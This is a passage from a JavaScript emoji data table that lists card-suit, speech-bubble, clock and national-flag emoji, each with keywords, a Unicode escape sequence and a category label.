  hearts: {
    keywords: [ "poker", "cards", "magic", "suits" ],
    char: "\u2665\ufe0f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  diamonds: {
    keywords: [ "poker", "cards", "magic", "suits" ],
    char: "\u2666\ufe0f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  flower_playing_cards: {
    keywords: [ "game", "sunset", "red" ],
    char: "\ud83c\udfb4",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  thought_balloon: {
    keywords: [ "bubble", "cloud", "speech", "thinking", "dream" ],
    char: "\ud83d\udcad",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  right_anger_bubble: {
    keywords: [ "caption", "speech", "thinking", "mad" ],
    char: "\ud83d\uddef",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  speech_balloon: {
    keywords: [ "bubble", "words", "message", "talk", "chatting" ],
    char: "\ud83d\udcac",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  left_speech_bubble: {
    keywords: [ "words", "message", "talk", "chatting" ],
    char: "\ud83d\udde8",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  clock1: {
    keywords: [ "time", "late", "early", "schedule" ],
    char: "\ud83d\udd50",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  clock2: {
    keywords: [ "time", "late", "early", "schedule" ],
    char: "\ud83d\udd51",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  clock3: {
    keywords: [ "time", "late", "early", "schedule" ],
    char: "\ud83d\udd52",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  clock4: {
    keywords: [ "time", "late", "early", "schedule" ],
    char: "\ud83d\udd53",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  clock5: {
    keywords: [ "time", "late", "early", "schedule" ],
    char: "\ud83d\udd54",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  clock6: {
    keywords: [ "time", "late", "early", "schedule", "dawn", "dusk" ],
    char: "\ud83d\udd55",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  clock7: {
    keywords: [ "time", "late", "early", "schedule" ],
    char: "\ud83d\udd56",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  clock8: {
    keywords: [ "time", "late", "early", "schedule" ],
    char: "\ud83d\udd57",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  clock9: {
    keywords: [ "time", "late", "early", "schedule" ],
    char: "\ud83d\udd58",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  clock10: {
    keywords: [ "time", "late", "early", "schedule" ],
    char: "\ud83d\udd59",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  clock11: {
    keywords: [ "time", "late", "early", "schedule" ],
    char: "\ud83d\udd5a",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  clock12: {
    keywords: [ "time", "noon", "midnight", "midday", "late", "early", "schedule" ],
    char: "\ud83d\udd5b",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  clock130: {
    keywords: [ "time", "late", "early", "schedule" ],
    char: "\ud83d\udd5c",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  clock230: {
    keywords: [ "time", "late", "early", "schedule" ],
    char: "\ud83d\udd5d",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  clock330: {
    keywords: [ "time", "late", "early", "schedule" ],
    char: "\ud83d\udd5e",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  clock430: {
    keywords: [ "time", "late", "early", "schedule" ],
    char: "\ud83d\udd5f",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  clock530: {
    keywords: [ "time", "late", "early", "schedule" ],
    char: "\ud83d\udd60",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  clock630: {
    keywords: [ "time", "late", "early", "schedule" ],
    char: "\ud83d\udd61",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  clock730: {
    keywords: [ "time", "late", "early", "schedule" ],
    char: "\ud83d\udd62",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  clock830: {
    keywords: [ "time", "late", "early", "schedule" ],
    char: "\ud83d\udd63",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  clock930: {
    keywords: [ "time", "late", "early", "schedule" ],
    char: "\ud83d\udd64",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  clock1030: {
    keywords: [ "time", "late", "early", "schedule" ],
    char: "\ud83d\udd65",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  clock1130: {
    keywords: [ "time", "late", "early", "schedule" ],
    char: "\ud83d\udd66",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  clock1230: {
    keywords: [ "time", "late", "early", "schedule" ],
    char: "\ud83d\udd67",
    fitzpatrick_scale: false,
    category: "symbols"
  },
  afghanistan: {
    keywords: [ "af", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde6\ud83c\uddeb",
    fitzpatrick_scale: false,
    category: "flags"
  },
  aland_islands: {
    keywords: [ "\xc5land", "islands", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde6\ud83c\uddfd",
    fitzpatrick_scale: false,
    category: "flags"
  },
  albania: {
    keywords: [ "al", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde6\ud83c\uddf1",
    fitzpatrick_scale: false,
    category: "flags"
  },
  algeria: {
    keywords: [ "dz", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde9\ud83c\uddff",
    fitzpatrick_scale: false,
    category: "flags"
  },
  american_samoa: {
    keywords: [ "american", "ws", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde6\ud83c\uddf8",
    fitzpatrick_scale: false,
    category: "flags"
  },
  andorra: {
    keywords: [ "ad", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde6\ud83c\udde9",
    fitzpatrick_scale: false,
    category: "flags"
  },
  angola: {
    keywords: [ "ao", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde6\ud83c\uddf4",
    fitzpatrick_scale: false,
    category: "flags"
  },
  anguilla: {
    keywords: [ "ai", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde6\ud83c\uddee",
    fitzpatrick_scale: false,
    category: "flags"
  },
  antarctica: {
    keywords: [ "aq", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde6\ud83c\uddf6",
    fitzpatrick_scale: false,
    category: "flags"
  },
  antigua_barbuda: {
    keywords: [ "antigua", "barbuda", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde6\ud83c\uddec",
    fitzpatrick_scale: false,
    category: "flags"
  },
  argentina: {
    keywords: [ "ar", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde6\ud83c\uddf7",
    fitzpatrick_scale: false,
    category: "flags"
  },
  armenia: {
    keywords: [ "am", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde6\ud83c\uddf2",
    fitzpatrick_scale: false,
    category: "flags"
  },
  aruba: {
    keywords: [ "aw", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde6\ud83c\uddfc",
    fitzpatrick_scale: false,
    category: "flags"
  },
  australia: {
    keywords: [ "au", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde6\ud83c\uddfa",
    fitzpatrick_scale: false,
    category: "flags"
  },
  austria: {
    keywords: [ "at", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde6\ud83c\uddf9",
    fitzpatrick_scale: false,
    category: "flags"
  },
  azerbaijan: {
    keywords: [ "az", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde6\ud83c\uddff",
    fitzpatrick_scale: false,
    category: "flags"
  },
  bahamas: {
    keywords: [ "bs", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde7\ud83c\uddf8",
    fitzpatrick_scale: false,
    category: "flags"
  },
  bahrain: {
    keywords: [ "bh", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde7\ud83c\udded",
    fitzpatrick_scale: false,
    category: "flags"
  },
  bangladesh: {
    keywords: [ "bd", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde7\ud83c\udde9",
    fitzpatrick_scale: false,
    category: "flags"
  },
  barbados: {
    keywords: [ "bb", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde7\ud83c\udde7",
    fitzpatrick_scale: false,
    category: "flags"
  },
  belarus: {
    keywords: [ "by", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde7\ud83c\uddfe",
    fitzpatrick_scale: false,
    category: "flags"
  },
  belgium: {
    keywords: [ "be", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde7\ud83c\uddea",
    fitzpatrick_scale: false,
    category: "flags"
  },
  belize: {
    keywords: [ "bz", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde7\ud83c\uddff",
    fitzpatrick_scale: false,
    category: "flags"
  },
  benin: {
    keywords: [ "bj", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde7\ud83c\uddef",
    fitzpatrick_scale: false,
    category: "flags"
  },
  bermuda: {
    keywords: [ "bm", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde7\ud83c\uddf2",
    fitzpatrick_scale: false,
    category: "flags"
  },
  bhutan: {
    keywords: [ "bt", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde7\ud83c\uddf9",
    fitzpatrick_scale: false,
    category: "flags"
  },
  bolivia: {
    keywords: [ "bo", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde7\ud83c\uddf4",
    fitzpatrick_scale: false,
    category: "flags"
  },
  caribbean_netherlands: {
    keywords: [ "bonaire", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde7\ud83c\uddf6",
    fitzpatrick_scale: false,
    category: "flags"
  },
  bosnia_herzegovina: {
    keywords: [ "bosnia", "herzegovina", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde7\ud83c\udde6",
    fitzpatrick_scale: false,
    category: "flags"
  },
  botswana: {
    keywords: [ "bw", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde7\ud83c\uddfc",
    fitzpatrick_scale: false,
    category: "flags"
  },
  brazil: {
    keywords: [ "br", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde7\ud83c\uddf7",
    fitzpatrick_scale: false,
    category: "flags"
  },
  british_indian_ocean_territory: {
    keywords: [ "british", "indian", "ocean", "territory", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddee\ud83c\uddf4",
    fitzpatrick_scale: false,
    category: "flags"
  },
  british_virgin_islands: {
    keywords: [ "british", "virgin", "islands", "bvi", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddfb\ud83c\uddec",
    fitzpatrick_scale: false,
    category: "flags"
  },
  brunei: {
    keywords: [ "bn", "darussalam", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde7\ud83c\uddf3",
    fitzpatrick_scale: false,
    category: "flags"
  },
  bulgaria: {
    keywords: [ "bg", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde7\ud83c\uddec",
    fitzpatrick_scale: false,
    category: "flags"
  },
  burkina_faso: {
    keywords: [ "burkina", "faso", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde7\ud83c\uddeb",
    fitzpatrick_scale: false,
    category: "flags"
  },
  burundi: {
    keywords: [ "bi", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde7\ud83c\uddee",
    fitzpatrick_scale: false,
    category: "flags"
  },
  cape_verde: {
    keywords: [ "cabo", "verde", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde8\ud83c\uddfb",
    fitzpatrick_scale: false,
    category: "flags"
  },
  cambodia: {
    keywords: [ "kh", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf0\ud83c\udded",
    fitzpatrick_scale: false,
    category: "flags"
  },
  cameroon: {
    keywords: [ "cm", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde8\ud83c\uddf2",
    fitzpatrick_scale: false,
    category: "flags"
  },
  canada: {
    keywords: [ "ca", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde8\ud83c\udde6",
    fitzpatrick_scale: false,
    category: "flags"
  },
  canary_islands: {
    keywords: [ "canary", "islands", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddee\ud83c\udde8",
    fitzpatrick_scale: false,
    category: "flags"
  },
  cayman_islands: {
    keywords: [ "cayman", "islands", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf0\ud83c\uddfe",
    fitzpatrick_scale: false,
    category: "flags"
  },
  central_african_republic: {
    keywords: [ "central", "african", "republic", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde8\ud83c\uddeb",
    fitzpatrick_scale: false,
    category: "flags"
  },
  chad: {
    keywords: [ "td", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf9\ud83c\udde9",
    fitzpatrick_scale: false,
    category: "flags"
  },
  chile: {
    keywords: [ "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde8\ud83c\uddf1",
    fitzpatrick_scale: false,
    category: "flags"
  },
  cn: {
    keywords: [ "china", "chinese", "prc", "flag", "country", "nation", "banner" ],
    char: "\ud83c\udde8\ud83c\uddf3",
    fitzpatrick_scale: false,
    category: "flags"
  },
  christmas_island: {
    keywords: [ "christmas", "island", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde8\ud83c\uddfd",
    fitzpatrick_scale: false,
    category: "flags"
  },
  cocos_islands: {
    keywords: [ "cocos", "keeling", "islands", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde8\ud83c\udde8",
    fitzpatrick_scale: false,
    category: "flags"
  },
  colombia: {
    keywords: [ "co", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde8\ud83c\uddf4",
    fitzpatrick_scale: false,
    category: "flags"
  },
  comoros: {
    keywords: [ "km", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf0\ud83c\uddf2",
    fitzpatrick_scale: false,
    category: "flags"
  },
  congo_brazzaville: {
    keywords: [ "congo", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde8\ud83c\uddec",
    fitzpatrick_scale: false,
    category: "flags"
  },
  congo_kinshasa: {
    keywords: [ "congo", "democratic", "republic", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde8\ud83c\udde9",
    fitzpatrick_scale: false,
    category: "flags"
  },
  cook_islands: {
    keywords: [ "cook", "islands", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde8\ud83c\uddf0",
    fitzpatrick_scale: false,
    category: "flags"
  },
  costa_rica: {
    keywords: [ "costa", "rica", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde8\ud83c\uddf7",
    fitzpatrick_scale: false,
    category: "flags"
  },
  croatia: {
    keywords: [ "hr", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udded\ud83c\uddf7",
    fitzpatrick_scale: false,
    category: "flags"
  },
  cuba: {
    keywords: [ "cu", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde8\ud83c\uddfa",
    fitzpatrick_scale: false,
    category: "flags"
  },
  curacao: {
    keywords: [ "cura\xe7ao", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde8\ud83c\uddfc",
    fitzpatrick_scale: false,
    category: "flags"
  },
  cyprus: {
    keywords: [ "cy", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde8\ud83c\uddfe",
    fitzpatrick_scale: false,
    category: "flags"
  },
  czech_republic: {
    keywords: [ "cz", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde8\ud83c\uddff",
    fitzpatrick_scale: false,
    category: "flags"
  },
  denmark: {
    keywords: [ "dk", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde9\ud83c\uddf0",
    fitzpatrick_scale: false,
    category: "flags"
  },
  djibouti: {
    keywords: [ "dj", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde9\ud83c\uddef",
    fitzpatrick_scale: false,
    category: "flags"
  },
  dominica: {
    keywords: [ "dm", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde9\ud83c\uddf2",
    fitzpatrick_scale: false,
    category: "flags"
  },
  dominican_republic: {
    keywords: [ "dominican", "republic", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde9\ud83c\uddf4",
    fitzpatrick_scale: false,
    category: "flags"
  },
  ecuador: {
    keywords: [ "ec", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddea\ud83c\udde8",
    fitzpatrick_scale: false,
    category: "flags"
  },
  egypt: {
    keywords: [ "eg", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddea\ud83c\uddec",
    fitzpatrick_scale: false,
    category: "flags"
  },
  el_salvador: {
    keywords: [ "el", "salvador", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf8\ud83c\uddfb",
    fitzpatrick_scale: false,
    category: "flags"
  },
  equatorial_guinea: {
    keywords: [ "equatorial", "gn", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddec\ud83c\uddf6",
    fitzpatrick_scale: false,
    category: "flags"
  },
  eritrea: {
    keywords: [ "er", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddea\ud83c\uddf7",
    fitzpatrick_scale: false,
    category: "flags"
  },
  estonia: {
    keywords: [ "ee", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddea\ud83c\uddea",
    fitzpatrick_scale: false,
    category: "flags"
  },
  ethiopia: {
    keywords: [ "et", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddea\ud83c\uddf9",
    fitzpatrick_scale: false,
    category: "flags"
  },
  eu: {
    keywords: [ "european", "union", "flag", "banner" ],
    char: "\ud83c\uddea\ud83c\uddfa",
    fitzpatrick_scale: false,
    category: "flags"
  },
  falkland_islands: {
    keywords: [ "falkland", "islands", "malvinas", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddeb\ud83c\uddf0",
    fitzpatrick_scale: false,
    category: "flags"
  },
  faroe_islands: {
    keywords: [ "faroe", "islands", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddeb\ud83c\uddf4",
    fitzpatrick_scale: false,
    category: "flags"
  },
  fiji: {
    keywords: [ "fj", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddeb\ud83c\uddef",
    fitzpatrick_scale: false,
    category: "flags"
  },
  finland: {
    keywords: [ "fi", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddeb\ud83c\uddee",
    fitzpatrick_scale: false,
    category: "flags"
  },
  fr: {
    keywords: [ "banner", "flag", "nation", "france", "french", "country" ],
    char: "\ud83c\uddeb\ud83c\uddf7",
    fitzpatrick_scale: false,
    category: "flags"
  },
  french_guiana: {
    keywords: [ "french", "guiana", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddec\ud83c\uddeb",
    fitzpatrick_scale: false,
    category: "flags"
  },
  french_polynesia: {
    keywords: [ "french", "polynesia", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf5\ud83c\uddeb",
    fitzpatrick_scale: false,
    category: "flags"
  },
  french_southern_territories: {
    keywords: [ "french", "southern", "territories", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf9\ud83c\uddeb",
    fitzpatrick_scale: false,
    category: "flags"
  },
  gabon: {
    keywords: [ "ga", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddec\ud83c\udde6",
    fitzpatrick_scale: false,
    category: "flags"
  },
  gambia: {
    keywords: [ "gm", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddec\ud83c\uddf2",
    fitzpatrick_scale: false,
    category: "flags"
  },
  georgia: {
    keywords: [ "ge", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddec\ud83c\uddea",
    fitzpatrick_scale: false,
    category: "flags"
  },
  de: {
    keywords: [ "german", "nation", "flag", "country", "banner" ],
    char: "\ud83c\udde9\ud83c\uddea",
    fitzpatrick_scale: false,
    category: "flags"
  },
  ghana: {
    keywords: [ "gh", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddec\ud83c\udded",
    fitzpatrick_scale: false,
    category: "flags"
  },
  gibraltar: {
    keywords: [ "gi", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddec\ud83c\uddee",
    fitzpatrick_scale: false,
    category: "flags"
  },
  greece: {
    keywords: [ "gr", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddec\ud83c\uddf7",
    fitzpatrick_scale: false,
    category: "flags"
  },
  greenland: {
    keywords: [ "gl", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddec\ud83c\uddf1",
    fitzpatrick_scale: false,
    category: "flags"
  },
  grenada: {
    keywords: [ "gd", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddec\ud83c\udde9",
    fitzpatrick_scale: false,
    category: "flags"
  },
  guadeloupe: {
    keywords: [ "gp", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddec\ud83c\uddf5",
    fitzpatrick_scale: false,
    category: "flags"
  },
  guam: {
    keywords: [ "gu", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddec\ud83c\uddfa",
    fitzpatrick_scale: false,
    category: "flags"
  },
  guatemala: {
    keywords: [ "gt", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddec\ud83c\uddf9",
    fitzpatrick_scale: false,
    category: "flags"
  },
  guernsey: {
    keywords: [ "gg", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddec\ud83c\uddec",
    fitzpatrick_scale: false,
    category: "flags"
  },
  guinea: {
    keywords: [ "gn", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddec\ud83c\uddf3",
    fitzpatrick_scale: false,
    category: "flags"
  },
  guinea_bissau: {
    keywords: [ "gw", "bissau", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddec\ud83c\uddfc",
    fitzpatrick_scale: false,
    category: "flags"
  },
  guyana: {
    keywords: [ "gy", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddec\ud83c\uddfe",
    fitzpatrick_scale: false,
    category: "flags"
  },
  haiti: {
    keywords: [ "ht", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udded\ud83c\uddf9",
    fitzpatrick_scale: false,
    category: "flags"
  },
  honduras: {
    keywords: [ "hn", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udded\ud83c\uddf3",
    fitzpatrick_scale: false,
    category: "flags"
  },
  hong_kong: {
    keywords: [ "hong", "kong", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udded\ud83c\uddf0",
    fitzpatrick_scale: false,
    category: "flags"
  },
  hungary: {
    keywords: [ "hu", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udded\ud83c\uddfa",
    fitzpatrick_scale: false,
    category: "flags"
  },
  iceland: {
    keywords: [ "is", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddee\ud83c\uddf8",
    fitzpatrick_scale: false,
    category: "flags"
  },
  india: {
    keywords: [ "in", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddee\ud83c\uddf3",
    fitzpatrick_scale: false,
    category: "flags"
  },
  indonesia: {
    keywords: [ "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddee\ud83c\udde9",
    fitzpatrick_scale: false,
    category: "flags"
  },
  iran: {
    keywords: [ "iran,", "islamic", "republic", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddee\ud83c\uddf7",
    fitzpatrick_scale: false,
    category: "flags"
  },
  iraq: {
    keywords: [ "iq", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddee\ud83c\uddf6",
    fitzpatrick_scale: false,
    category: "flags"
  },
  ireland: {
    keywords: [ "ie", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddee\ud83c\uddea",
    fitzpatrick_scale: false,
    category: "flags"
  },
  isle_of_man: {
    keywords: [ "isle", "man", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddee\ud83c\uddf2",
    fitzpatrick_scale: false,
    category: "flags"
  },
  israel: {
    keywords: [ "il", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddee\ud83c\uddf1",
    fitzpatrick_scale: false,
    category: "flags"
  },
  it: {
    keywords: [ "italy", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddee\ud83c\uddf9",
    fitzpatrick_scale: false,
    category: "flags"
  },
  cote_divoire: {
    keywords: [ "ivory", "coast", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde8\ud83c\uddee",
    fitzpatrick_scale: false,
    category: "flags"
  },
  jamaica: {
    keywords: [ "jm", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddef\ud83c\uddf2",
    fitzpatrick_scale: false,
    category: "flags"
  },
  jp: {
    keywords: [ "japanese", "nation", "flag", "country", "banner" ],
    char: "\ud83c\uddef\ud83c\uddf5",
    fitzpatrick_scale: false,
    category: "flags"
  },
  jersey: {
    keywords: [ "je", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddef\ud83c\uddea",
    fitzpatrick_scale: false,
    category: "flags"
  },
  jordan: {
    keywords: [ "jo", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddef\ud83c\uddf4",
    fitzpatrick_scale: false,
    category: "flags"
  },
  kazakhstan: {
    keywords: [ "kz", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf0\ud83c\uddff",
    fitzpatrick_scale: false,
    category: "flags"
  },
  kenya: {
    keywords: [ "ke", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf0\ud83c\uddea",
    fitzpatrick_scale: false,
    category: "flags"
  },
  kiribati: {
    keywords: [ "ki", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf0\ud83c\uddee",
    fitzpatrick_scale: false,
    category: "flags"
  },
  kosovo: {
    keywords: [ "xk", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddfd\ud83c\uddf0",
    fitzpatrick_scale: false,
    category: "flags"
  },
  kuwait: {
    keywords: [ "kw", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf0\ud83c\uddfc",
    fitzpatrick_scale: false,
    category: "flags"
  },
  kyrgyzstan: {
    keywords: [ "kg", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf0\ud83c\uddec",
    fitzpatrick_scale: false,
    category: "flags"
  },
  laos: {
    keywords: [ "lao", "democratic", "republic", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf1\ud83c\udde6",
    fitzpatrick_scale: false,
    category: "flags"
  },
  latvia: {
    keywords: [ "lv", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf1\ud83c\uddfb",
    fitzpatrick_scale: false,
    category: "flags"
  },
  lebanon: {
    keywords: [ "lb", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf1\ud83c\udde7",
    fitzpatrick_scale: false,
    category: "flags"
  },
  lesotho: {
    keywords: [ "ls", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf1\ud83c\uddf8",
    fitzpatrick_scale: false,
    category: "flags"
  },
  liberia: {
    keywords: [ "lr", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf1\ud83c\uddf7",
    fitzpatrick_scale: false,
    category: "flags"
  },
  libya: {
    keywords: [ "ly", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf1\ud83c\uddfe",
    fitzpatrick_scale: false,
    category: "flags"
  },
  liechtenstein: {
    keywords: [ "li", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf1\ud83c\uddee",
    fitzpatrick_scale: false,
    category: "flags"
  },
  lithuania: {
    keywords: [ "lt", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf1\ud83c\uddf9",
    fitzpatrick_scale: false,
    category: "flags"
  },
  luxembourg: {
    keywords: [ "lu", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf1\ud83c\uddfa",
    fitzpatrick_scale: false,
    category: "flags"
  },
  macau: {
    keywords: [ "macao", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf2\ud83c\uddf4",
    fitzpatrick_scale: false,
    category: "flags"
  },
  macedonia: {
    keywords: [ "macedonia,", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf2\ud83c\uddf0",
    fitzpatrick_scale: false,
    category: "flags"
  },
  madagascar: {
    keywords: [ "mg", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf2\ud83c\uddec",
    fitzpatrick_scale: false,
    category: "flags"
  },
  malawi: {
    keywords: [ "mw", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf2\ud83c\uddfc",
    fitzpatrick_scale: false,
    category: "flags"
  },
  malaysia: {
    keywords: [ "my", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf2\ud83c\uddfe",
    fitzpatrick_scale: false,
    category: "flags"
  },
  maldives: {
    keywords: [ "mv", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf2\ud83c\uddfb",
    fitzpatrick_scale: false,
    category: "flags"
  },
  mali: {
    keywords: [ "ml", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf2\ud83c\uddf1",
    fitzpatrick_scale: false,
    category: "flags"
  },
  malta: {
    keywords: [ "mt", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf2\ud83c\uddf9",
    fitzpatrick_scale: false,
    category: "flags"
  },
  marshall_islands: {
    keywords: [ "marshall", "islands", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf2\ud83c\udded",
    fitzpatrick_scale: false,
    category: "flags"
  },
  martinique: {
    keywords: [ "mq", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf2\ud83c\uddf6",
    fitzpatrick_scale: false,
    category: "flags"
  },
  mauritania: {
    keywords: [ "mr", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf2\ud83c\uddf7",
    fitzpatrick_scale: false,
    category: "flags"
  },
  mauritius: {
    keywords: [ "mu", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf2\ud83c\uddfa",
    fitzpatrick_scale: false,
    category: "flags"
  },
  mayotte: {
    keywords: [ "yt", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddfe\ud83c\uddf9",
    fitzpatrick_scale: false,
